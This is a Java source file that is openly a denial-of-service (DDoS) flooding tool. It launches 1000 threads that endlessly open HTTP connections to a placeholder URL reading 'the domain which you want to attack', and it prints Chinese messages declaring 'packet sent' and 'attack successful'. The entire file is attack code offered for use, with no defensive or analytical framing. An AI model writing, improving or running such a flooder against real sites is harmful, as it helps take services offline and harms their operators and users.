package ddos;import java.io.BufferedInputStream;import java.io.IOException;import java.net.MalformedURLException;import java.net.URL;import java.net.URLConnection;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;public class DDos {    public DDos() {        // TODO Auto-generated constructor stub    }    public static void main(String[] args){        ExecutorService es = Executors.newFixedThreadPool(1000);        Mythread mythread = new Mythread();        Thread thread = new Thread(mythread);        for(int i = 0;i<10000;i++){            es.execute(thread);        }    }}class Mythread implements Runnable {    public void run() {        while(true){            try {                URL url = new URL("the domain which you want to attack！");                URLConnection conn = url.openConnection();                System.out.println("发包成功！");                BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());                byte[] bytes = new byte[1024];                int len = -1;                StringBuffer sb = new StringBuffer();                                    if(bis != null){                        if((len = bis.read()) != -1){                            sb.append(new String (bytes,0,len));                            System.out.println("攻击成功！");                            bis.close();                        }                    }                                } catch (MalformedURLException e) {                // TODO Auto-generated catch block                e.printStackTrace();            } catch (IOException e) {                // TODO Auto-generated catch block                e.printStackTrace();            }                    }    }}